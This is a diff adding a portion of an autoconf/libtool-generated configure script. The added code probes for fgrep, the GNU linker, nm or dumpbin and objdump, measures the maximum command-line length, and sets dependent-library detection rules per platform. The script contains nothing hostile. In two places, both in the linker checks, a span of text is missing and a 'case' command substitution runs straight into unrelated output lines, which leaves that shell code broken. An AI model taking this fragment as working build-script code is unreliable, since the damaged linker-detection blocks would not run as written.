IFS=$PATH_SEPARATOR +for as_dir in $PATH$PATH_SEPARATOR/usr/xpg4/bin +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_prog in fgrep; do + for ac_exec_ext in '' $ac_executable_extensions; do + ac_path_FGREP="$as_dir/$ac_prog$ac_exec_ext" + as_fn_executable_p "$ac_path_FGREP" || continue +# Check for GNU ac_path_FGREP and select it if it is found. + # Check for GNU $ac_path_FGREP +case `"$ac_path_FGREP" --version 2>&1` in +*GNU*) + ac_cv_path_FGREP="$ac_path_FGREP" ac_path_FGREP_found=:;; +*) + ac_count=0 + $as_echo_n 0123456789 >"conftest.in" + while : + do + cat "conftest.in" "conftest.in" >"conftest.tmp" + mv "conftest.tmp" "conftest.in" + cp "conftest.in" "conftest.nl" + $as_echo 'FGREP' >> "conftest.nl" + "$ac_path_FGREP" FGREP < "conftest.nl" >"conftest.out" 2>/dev/null || break + diff "conftest.out" "conftest.nl" >/dev/null 2>&1 || break + as_fn_arith $ac_count + 1 && ac_count=$as_val + if test $ac_count -gt ${ac_path_FGREP_max-0}; then + # Best one so far, save it but keep looking for a better one + ac_cv_path_FGREP="$ac_path_FGREP" + ac_path_FGREP_max=$ac_count + fi + # 10*(2^10) chars as input seems more than enough + test $ac_count -gt 10 && break + done + rm -f conftest.in conftest.tmp conftest.nl conftest.out;; +esac + + $ac_path_FGREP_found && break 3 + done + done + done +IFS=$as_save_IFS + if test -z "$ac_cv_path_FGREP"; then + as_fn_error $? "no acceptable fgrep could be found in $PATH$PATH_SEPARATOR/usr/xpg4/bin" "$LINENO" 5 + fi +else + ac_cv_path_FGREP=$FGREP +fi + + fi +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_path_FGREP" >&5 +$as_echo "$ac_cv_path_FGREP" >&6; } + FGREP="$ac_cv_path_FGREP" + + +test -z "$GREP" && GREP=grep + + + + + + + + + + + + + + + + + + + +# Check whether --with-gnu-ld was given. +if test "${with_gnu_ld+set}" = set; then : + withval=$with_gnu_ld; test "$withval" = no || with_gnu_ld=yes +else + with_gnu_ld=no +fi + +ac_prog=ld +if test "$GCC" = yes; then + # Check if gcc -print-prog-name=ld gives a path. + { $as_echo "$as_me:${as_lineno-$LINENO}: checking for ld used by $CC" >&5 +$as_echo_n "checking for ld used by $CC... " >&6; } + case $host in + *-*-mingw*) + # gcc leaves a trailing carriage return which upsets mingw + ac_prog=`($CC -print-prog-name=ld) 2>&5 | tr -d '\015'` ;; + *) + ac_prog=`($CC -print-prog-name=ld) 2>&5` ;; + esac + case $ac_prog in + # Accept absolute paths. + [\\/]* | ?:[\\/]*) + re_direlt='/[^/][^/]*/\.\./' + # Canonicalize the pathname of ld + ac_prog=`$ECHO "$ac_prog"| $SED 's%\\\\%/%g'` + while $ECHO "$ac_prog" | $GREP "$re_direlt" > /dev/null 2>&1; do + ac_prog=`$ECHO $ac_prog| $SED "s%$re_direlt%/%"` + done + test -z "$LD" && LD="$ac_prog" + ;; + "") + # If it fails, then pretend we aren't using GCC. + ac_prog=ld + ;; + *) + # If it is relative, then search for the first ld in PATH. + with_gnu_ld=unknown + ;; + esac +elif test "$with_gnu_ld" = yes; then + { $as_echo "$as_me:${as_lineno-$LINENO}: checking for GNU ld" >&5 +$as_echo_n "checking for GNU ld... " >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: checking for non-GNU ld" >&5 +$as_echo_n "checking for non-GNU ld... " >&6; } +fi +if ${lt_cv_path_LD+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -z "$LD"; then + lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR + for ac_dir in $PATH; do + IFS="$lt_save_ifs" + test -z "$ac_dir" && ac_dir=. + if test -f "$ac_dir/$ac_prog" || test -f "$ac_dir/$ac_prog$ac_exeext"; then + lt_cv_path_LD="$ac_dir/$ac_prog" + # Check to see if the program is GNU ld. I'd rather use --version, + # but apparently some variants of GNU ld only accept -v. + # Break only if it was the GNU/non-GNU ld that we prefer. + case `"$lt_cv_path_LD" -v 2>&1 &5 +$as_echo "$LD" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi +test -z "$LD" && as_fn_error $? "no acceptable ld found in \$PATH" "$LINENO" 5 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if the linker ($LD) is GNU ld" >&5 +$as_echo_n "checking if the linker ($LD) is GNU ld... " >&6; } +if ${lt_cv_prog_gnu_ld+:} false; then : + $as_echo_n "(cached) " >&6 +else + # I'd rather use --version here, but apparently some GNU lds only accept -v. +case `$LD -v 2>&1 &5 +$as_echo "$lt_cv_prog_gnu_ld" >&6; } +with_gnu_ld=$lt_cv_prog_gnu_ld + + + + + + + + + +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for BSD- or MS-compatible name lister (nm)" >&5 +$as_echo_n "checking for BSD- or MS-compatible name lister (nm)... " >&6; } +if ${lt_cv_path_NM+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -n "$NM"; then + # Let the user override the test. + lt_cv_path_NM="$NM" +else + lt_nm_to_check="${ac_tool_prefix}nm" + if test -n "$ac_tool_prefix" && test "$build" = "$host"; then + lt_nm_to_check="$lt_nm_to_check nm" + fi + for lt_tmp_nm in $lt_nm_to_check; do + lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR + for ac_dir in $PATH /usr/ccs/bin/elf /usr/ccs/bin /usr/ucb /bin; do + IFS="$lt_save_ifs" + test -z "$ac_dir" && ac_dir=. + tmp_nm="$ac_dir/$lt_tmp_nm" + if test -f "$tmp_nm" || test -f "$tmp_nm$ac_exeext" ; then + # Check to see if the nm accepts a BSD-compat flag. + # Adding the `sed 1q' prevents false positives on HP-UX, which says: + # nm: unknown option "B" ignored + # Tru64's nm complains that /dev/null is an invalid object file + case `"$tmp_nm" -B /dev/null 2>&1 | sed '1q'` in + */dev/null* | *'Invalid file or object type'*) + lt_cv_path_NM="$tmp_nm -B" + break + ;; + *) + case `"$tmp_nm" -p /dev/null 2>&1 | sed '1q'` in + */dev/null*) + lt_cv_path_NM="$tmp_nm -p" + break + ;; + *) + lt_cv_path_NM=${lt_cv_path_NM="$tmp_nm"} # keep the first match, but + continue # so that we can try to find one that supports BSD flags + ;; + esac + ;; + esac + fi + done + IFS="$lt_save_ifs" + done + : ${lt_cv_path_NM=no} +fi +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_NM" >&5 +$as_echo "$lt_cv_path_NM" >&6; } +if test "$lt_cv_path_NM" != "no"; then + NM="$lt_cv_path_NM" +else + # Didn't find any BSD compatible name lister, look for dumpbin. + if test -n "$DUMPBIN"; then : + # Let the user override the test. + else + if test -n "$ac_tool_prefix"; then + for ac_prog in dumpbin "link -dump" + do + # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args. +set dummy $ac_tool_prefix$ac_prog; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_prog_DUMPBIN+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -n "$DUMPBIN"; then + ac_cv_prog_DUMPBIN="$DUMPBIN" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_DUMPBIN="$ac_tool_prefix$ac_prog" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +DUMPBIN=$ac_cv_prog_DUMPBIN +if test -n "$DUMPBIN"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DUMPBIN" >&5 +$as_echo "$DUMPBIN" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + + test -n "$DUMPBIN" && break + done +fi +if test -z "$DUMPBIN"; then + ac_ct_DUMPBIN=$DUMPBIN + for ac_prog in dumpbin "link -dump" +do + # Extract the first word of "$ac_prog", so it can be a program name with args. +set dummy $ac_prog; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_prog_ac_ct_DUMPBIN+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -n "$ac_ct_DUMPBIN"; then + ac_cv_prog_ac_ct_DUMPBIN="$ac_ct_DUMPBIN" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_DUMPBIN="$ac_prog" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +ac_ct_DUMPBIN=$ac_cv_prog_ac_ct_DUMPBIN +if test -n "$ac_ct_DUMPBIN"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DUMPBIN" >&5 +$as_echo "$ac_ct_DUMPBIN" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + + test -n "$ac_ct_DUMPBIN" && break +done + + if test "x$ac_ct_DUMPBIN" = x; then + DUMPBIN=":" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + DUMPBIN=$ac_ct_DUMPBIN + fi +fi + + case `$DUMPBIN -symbols /dev/null 2>&1 | sed '1q'` in + *COFF*) + DUMPBIN="$DUMPBIN -symbols" + ;; + *) + DUMPBIN=: + ;; + esac + fi + + if test "$DUMPBIN" != ":"; then + NM="$DUMPBIN" + fi +fi +test -z "$NM" && NM=nm + + + + + + +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking the name lister ($NM) interface" >&5 +$as_echo_n "checking the name lister ($NM) interface... " >&6; } +if ${lt_cv_nm_interface+:} false; then : + $as_echo_n "(cached) " >&6 +else + lt_cv_nm_interface="BSD nm" + echo "int some_variable = 0;" > conftest.$ac_ext + (eval echo "\"\$as_me:$LINENO: $ac_compile\"" >&5) + (eval "$ac_compile" 2>conftest.err) + cat conftest.err >&5 + (eval echo "\"\$as_me:$LINENO: $NM \\\"conftest.$ac_objext\\\"\"" >&5) + (eval "$NM \"conftest.$ac_objext\"" 2>conftest.err > conftest.out) + cat conftest.err >&5 + (eval echo "\"\$as_me:$LINENO: output\"" >&5) + cat conftest.out >&5 + if $GREP 'External.*some_variable' conftest.out > /dev/null; then + lt_cv_nm_interface="MS dumpbin" + fi + rm -f conftest* +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_nm_interface" >&5 +$as_echo "$lt_cv_nm_interface" >&6; } + +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether ln -s works" >&5 +$as_echo_n "checking whether ln -s works... " >&6; } +LN_S=$as_ln_s +if test "$LN_S" = "ln -s"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5 +$as_echo "yes" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no, using $LN_S" >&5 +$as_echo "no, using $LN_S" >&6; } +fi + +# find the maximum length of command line arguments +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking the maximum length of command line arguments" >&5 +$as_echo_n "checking the maximum length of command line arguments... " >&6; } +if ${lt_cv_sys_max_cmd_len+:} false; then : + $as_echo_n "(cached) " >&6 +else + i=0 + teststring="ABCD" + + case $build_os in + msdosdjgpp*) + # On DJGPP, this test can blow up pretty badly due to problems in libc + # (any single argument exceeding 2000 bytes causes a buffer overrun + # during glob expansion). Even if it were fixed, the result of this + # check would be larger than it should be. + lt_cv_sys_max_cmd_len=12288; # 12K is about right + ;; + + gnu*) + # Under GNU Hurd, this test is not required because there is + # no limit to the length of command line arguments. + # Libtool will interpret -1 as no limit whatsoever + lt_cv_sys_max_cmd_len=-1; + ;; + + cygwin* | mingw* | cegcc*) + # On Win9x/ME, this test blows up -- it succeeds, but takes + # about 5 minutes as the teststring grows exponentially. + # Worse, since 9x/ME are not pre-emptively multitasking, + # you end up with a "frozen" computer, even though with patience + # the test eventually succeeds (with a max line length of 256k). + # Instead, let's just punt: use the minimum linelength reported by + # all of the supported platforms: 8192 (on NT/2K/XP). + lt_cv_sys_max_cmd_len=8192; + ;; + + mint*) + # On MiNT this can take a long time and run out of memory. + lt_cv_sys_max_cmd_len=8192; + ;; + + amigaos*) + # On AmigaOS with pdksh, this test takes hours, literally. + # So we just punt and use a minimum line length of 8192. + lt_cv_sys_max_cmd_len=8192; + ;; + + netbsd* | freebsd* | openbsd* | darwin* | dragonfly*) + # This has been around since 386BSD, at least. Likely further. + if test -x /sbin/sysctl; then + lt_cv_sys_max_cmd_len=`/sbin/sysctl -n kern.argmax` + elif test -x /usr/sbin/sysctl; then + lt_cv_sys_max_cmd_len=`/usr/sbin/sysctl -n kern.argmax` + else + lt_cv_sys_max_cmd_len=65536 # usable default for all BSDs + fi + # And add a safety zone + lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 4` + lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \* 3` + ;; + + interix*) + # We know the value 262144 and hardcode it with a safety zone (like BSD) + lt_cv_sys_max_cmd_len=196608 + ;; + + os2*) + # The test takes a long time on OS/2. + lt_cv_sys_max_cmd_len=8192 + ;; + + osf*) + # Dr. Hans Ekkehard Plesser reports seeing a kernel panic running configure + # due to this test when exec_disable_arg_limit is 1 on Tru64. It is not + # nice to cause kernel panics so lets avoid the loop below. + # First set a reasonable default. + lt_cv_sys_max_cmd_len=16384 + # + if test -x /sbin/sysconfig; then + case `/sbin/sysconfig -q proc exec_disable_arg_limit` in + *1*) lt_cv_sys_max_cmd_len=-1 ;; + esac + fi + ;; + sco3.2v5*) + lt_cv_sys_max_cmd_len=102400 + ;; + sysv5* | sco5v6* | sysv4.2uw2*) + kargmax=`grep ARG_MAX /etc/conf/cf.d/stune 2>/dev/null` + if test -n "$kargmax"; then + lt_cv_sys_max_cmd_len=`echo $kargmax | sed 's/.*[ ]//'` + else + lt_cv_sys_max_cmd_len=32768 + fi + ;; + *) + lt_cv_sys_max_cmd_len=`(getconf ARG_MAX) 2> /dev/null` + if test -n "$lt_cv_sys_max_cmd_len"; then + lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 4` + lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \* 3` + else + # Make teststring a little bigger before we do anything with it. + # a 1K string should be a reasonable start. + for i in 1 2 3 4 5 6 7 8 ; do + teststring=$teststring$teststring + done + SHELL=${SHELL-${CONFIG_SHELL-/bin/sh}} + # If test is not a shell built-in, we'll probably end up computing a + # maximum length that is only half of the actual maximum length, but + # we can't tell. + while { test "X"`env echo "$teststring$teststring" 2>/dev/null` \ + = "X$teststring$teststring"; } >/dev/null 2>&1 && + test $i != 17 # 1/2 MB should be enough + do + i=`expr $i + 1` + teststring=$teststring$teststring + done + # Only check the string length outside the loop. + lt_cv_sys_max_cmd_len=`expr "X$teststring" : ".*" 2>&1` + teststring= + # Add a significant safety factor because C++ compilers can tack on + # massive amounts of additional arguments before passing them to the + # linker. It appears as though 1/2 is a usable value. + lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 2` + fi + ;; + esac + +fi + +if test -n $lt_cv_sys_max_cmd_len ; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sys_max_cmd_len" >&5 +$as_echo "$lt_cv_sys_max_cmd_len" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: none" >&5 +$as_echo "none" >&6; } +fi +max_cmd_len=$lt_cv_sys_max_cmd_len + + + + + + +: ${CP="cp -f"} +: ${MV="mv -f"} +: ${RM="rm -f"} + +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the shell understands some XSI constructs" >&5 +$as_echo_n "checking whether the shell understands some XSI constructs... " >&6; } +# Try some XSI features +xsi_shell=no +( _lt_dummy="a/b/c" + test "${_lt_dummy##*/},${_lt_dummy%/*},${_lt_dummy#??}"${_lt_dummy%"$_lt_dummy"}, \ + = c,a/b,b/c, \ + && eval 'test $(( 1 + 1 )) -eq 2 \ + && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \ + && xsi_shell=yes +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $xsi_shell" >&5 +$as_echo "$xsi_shell" >&6; } + + +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the shell understands \"+=\"" >&5 +$as_echo_n "checking whether the shell understands \"+=\"... " >&6; } +lt_shell_append=no +( foo=bar; set foo baz; eval "$1+=\$2" && test "$foo" = barbaz ) \ + >/dev/null 2>&1 \ + && lt_shell_append=yes +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_shell_append" >&5 +$as_echo "$lt_shell_append" >&6; } + + +if ( (MAIL=60; unset MAIL) || exit) >/dev/null 2>&1; then + lt_unset=unset +else + lt_unset=false +fi + + + + + +# test EBCDIC or ASCII +case `echo X|tr X '\101'` in + A) # ASCII based system + # \n is not interpreted correctly by Solaris 8 /usr/ucb/tr + lt_SP2NL='tr \040 \012' + lt_NL2SP='tr \015\012 \040\040' + ;; + *) # EBCDIC based system + lt_SP2NL='tr \100 \n' + lt_NL2SP='tr \r\n \100\100' + ;; +esac + + + + + + + + + +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to $host format" >&5 +$as_echo_n "checking how to convert $build file names to $host format... " >&6; } +if ${lt_cv_to_host_file_cmd+:} false; then : + $as_echo_n "(cached) " >&6 +else + case $host in + *-*-mingw* ) + case $build in + *-*-mingw* ) # actually msys + lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32 + ;; + *-*-cygwin* ) + lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32 + ;; + * ) # otherwise, assume *nix + lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32 + ;; + esac + ;; + *-*-cygwin* ) + case $build in + *-*-mingw* ) # actually msys + lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin + ;; + *-*-cygwin* ) + lt_cv_to_host_file_cmd=func_convert_file_noop + ;; + * ) # otherwise, assume *nix + lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin + ;; + esac + ;; + * ) # unhandled hosts (and "normal" native builds) + lt_cv_to_host_file_cmd=func_convert_file_noop + ;; +esac + +fi + +to_host_file_cmd=$lt_cv_to_host_file_cmd +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_host_file_cmd" >&5 +$as_echo "$lt_cv_to_host_file_cmd" >&6; } + + + + + +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to toolchain format" >&5 +$as_echo_n "checking how to convert $build file names to toolchain format... " >&6; } +if ${lt_cv_to_tool_file_cmd+:} false; then : + $as_echo_n "(cached) " >&6 +else + #assume ordinary cross tools, or native build. +lt_cv_to_tool_file_cmd=func_convert_file_noop +case $host in + *-*-mingw* ) + case $build in + *-*-mingw* ) # actually msys + lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32 + ;; + esac + ;; +esac + +fi + +to_tool_file_cmd=$lt_cv_to_tool_file_cmd +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_tool_file_cmd" >&5 +$as_echo "$lt_cv_to_tool_file_cmd" >&6; } + + + + + +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5 +$as_echo_n "checking for $LD option to reload object files... " >&6; } +if ${lt_cv_ld_reload_flag+:} false; then : + $as_echo_n "(cached) " >&6 +else + lt_cv_ld_reload_flag='-r' +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ld_reload_flag" >&5 +$as_echo "$lt_cv_ld_reload_flag" >&6; } +reload_flag=$lt_cv_ld_reload_flag +case $reload_flag in +"" | " "*) ;; +*) reload_flag=" $reload_flag" ;; +esac +reload_cmds='$LD$reload_flag -o $output$reload_objs' +case $host_os in + cygwin* | mingw* | pw32* | cegcc*) + if test "$GCC" != yes; then + reload_cmds=false + fi + ;; + darwin*) + if test "$GCC" = yes; then + reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs' + else + reload_cmds='$LD$reload_flag -o $output$reload_objs' + fi + ;; +esac + + + + + + + + + +if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}objdump", so it can be a program name with args. +set dummy ${ac_tool_prefix}objdump; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_prog_OBJDUMP+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -n "$OBJDUMP"; then + ac_cv_prog_OBJDUMP="$OBJDUMP" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_OBJDUMP="${ac_tool_prefix}objdump" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +OBJDUMP=$ac_cv_prog_OBJDUMP +if test -n "$OBJDUMP"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $OBJDUMP" >&5 +$as_echo "$OBJDUMP" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_OBJDUMP"; then + ac_ct_OBJDUMP=$OBJDUMP + # Extract the first word of "objdump", so it can be a program name with args. +set dummy objdump; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_prog_ac_ct_OBJDUMP+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -n "$ac_ct_OBJDUMP"; then + ac_cv_prog_ac_ct_OBJDUMP="$ac_ct_OBJDUMP" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_OBJDUMP="objdump" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +ac_ct_OBJDUMP=$ac_cv_prog_ac_ct_OBJDUMP +if test -n "$ac_ct_OBJDUMP"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_OBJDUMP" >&5 +$as_echo "$ac_ct_OBJDUMP" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + if test "x$ac_ct_OBJDUMP" = x; then + OBJDUMP="false" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + OBJDUMP=$ac_ct_OBJDUMP + fi +else + OBJDUMP="$ac_cv_prog_OBJDUMP" +fi + +test -z "$OBJDUMP" && OBJDUMP=objdump + + + + + + +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to recognize dependent libraries" >&5 +$as_echo_n "checking how to recognize dependent libraries... " >&6; } +if ${lt_cv_deplibs_check_method+:} false; then : + $as_echo_n "(cached) " >&6 +else + lt_cv_file_magic_cmd='$MAGIC_CMD' +lt_cv_file_magic_test_file= +lt_cv_deplibs_check_method='unknown' +# Need to set the preceding variable on all platforms that support +# interlibrary dependencies. +# 'none' -- dependencies not supported. +# `unknown' -- same as none, but documents that we really don't know. +# 'pass_all' -- all dependencies passed with no checks. +# 'test_compile' -- check by making test program. +# 'file_magic [[regex]]' -- check by looking for files in library path +# which responds to the $file_magic_cmd with a given extended regex. +# If you have `file' or equivalent on your system and you're not sure +# whether `pass_all' will *always* work, you probably want this one. + +case $host_os in +aix[4-9]*) + lt_cv_deplibs_check_method=pass_all + ;; + +beos*) + lt_cv_deplibs_check_method=pass_all + ;; + +bsdi[45]*) + lt_cv_deplibs_check_method='file_magic ELF [0-9][0-9]*-bit [ML]SB (shared object|dynamic lib)' + lt_cv_file_magic_cmd='/usr/bin/file -L' + lt_cv_file_magic_test_file=/shlib/libc.so + ;; + +cygwin*) + # func_win32_libid is a shell function defined in ltmain.sh + lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL' + lt_cv_file_magic_cmd='func_win32_libid' + ;; + +mingw* | pw32*) + # Base MSYS/MinGW do not provide the 'file' command needed by + # func_win32_libid shell function, so use a weaker test based on 'objdump', + # unless we find 'file', for example because we are cross-compiling. + # func_win32_libid assumes BSD nm, so disallow it if using MS dumpbin. + if ( test "$lt_cv_nm_interface" = "BSD nm" && file / ) >/dev/null 2>&1; then + lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL' + lt_cv_file_magic_cmd='func_win32_libid' + else + # Keep this pattern in sync with the one in func_win32_libid. + lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)' + lt_cv_file_magic_cmd='$OBJDUMP -f' + fi + ;; + +cegcc*) + # use the weaker test based on 'objdump'. See mingw*. + lt_cv_deplibs_check_method='file_magic file format pe-arm-.*little(.*architecture: arm)?' + lt_cv_file_magic_cmd='$OBJDUMP -f' + ;; + +darwin* | rhapsody*) + lt_cv_deplibs_check_method=pass_all + ;; + +freebsd* | dragonfly*) + if echo __ELF__ | $CC -E - | $GREP __ELF__ > /dev/null; then + case $host_cpu in + i*86 ) + # Not sure whether the presence of OpenBSD here was a mistake. + # Let's accept both of them until this is cleared up. + lt_cv_deplibs_check_method='file_magic (FreeBSD|OpenBSD|DragonFly)/i[3-9]86 (compact )?demand paged shared library' + lt_cv_file_magic_cmd=/usr/bin/file + lt_cv_file_magic_test_file=`echo /usr/lib/libc.so.*` + ;; + esac + else + lt_cv_deplibs_check_method=pass_all + fi + ;; + +gnu*) + lt_cv_deplibs_check_method=pass_all + ;; + +haiku*) + lt_cv_deplibs_check_method=pass_all + ;; + +hpux10.20* | hpux11*) + lt_cv_file_magic_cmd=/usr/bin/file + case $host_cpu in + ia64*) + lt_cv_deplibs_check_method='file_magic (s[0-9][0-9][0-9]|ELF-[0-9][0-9]) shared object file - IA64' + lt_cv_file_magic_test_file=/usr/lib/hpux32/libc.so + ;; + hppa*64*) + lt_cv_deplibs_check_method='file_magic (s[0-9][0-9][0-9]|ELF[ -][0-9][0-9])(-bit)?( [LM]SB)? shared object( file)?[, -]* PA-RISC [0-9]\.[0-9]' + lt_cv_file_magic_test_file=/usr/lib/pa20_64/libc.sl + ;; + *) + lt_cv_deplibs_check_method='file_magic (s[0-9][0-9][0-9]|PA-RISC[0-9]\.[0-9]) shared library' + lt_cv_file_magic_test_file=/usr/lib/libc.sl + ;; + esac + ;; + +interix[3-9]*) + # PIC code is broken on Interix 3.x, that's why |\.a not |_pic\.a here + lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so|\.a)$' + ;; + +irix5* | irix6* | nonstopux*) + case $LD in + *-32|*"-32 ") libmagic=32-bit;; + *-n32|*"-n32 ") libmagic=N32;; + *-64|*"-64 ") libmagic=64-bit;; + *) libmagic=never-match;; + esac + lt_cv_deplibs_check_method=pass_all + ;; + +# This must be glibc/ELF. +linux* | k*bsd*-gnu | kopensolaris*-gnu) + lt_cv_deplibs_check_method=pass_all + ;; + +netbsd*) + if echo __ELF__ | $CC -E - | $GREP __ELF__ > /dev/null; then + lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so\.[0-9]+\.[0-9]+|_pic\.a)$' + else + lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so|_pic\.a)$' + fi + ;; + +newos6*) + lt_cv_deplibs_check_method='file_magic ELF [0-9][0-9]*-bit [ML]SB (executable|dynamic lib)' + lt_cv_file_magic_cmd=/usr/bin/file + lt_cv_file_magic_test_file=/usr/lib/libnls.so + ;; + +*nto* | *qnx*) + lt_cv_deplibs_check_method=pass_all + ;; + +openbsd*) + if test -z "`echo __ELF__ | $CC -E - | $GREP __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then + lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so\.[0-9]+\.[0-9]+|\.so|_pic\.a)$' + else + lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so\.[0-9]+\.[0-9]+|_pic\.a)$' + fi + ;; + +osf3* | osf4* | osf5*) + lt_cv_deplibs_check_method=pass_all + ;; + 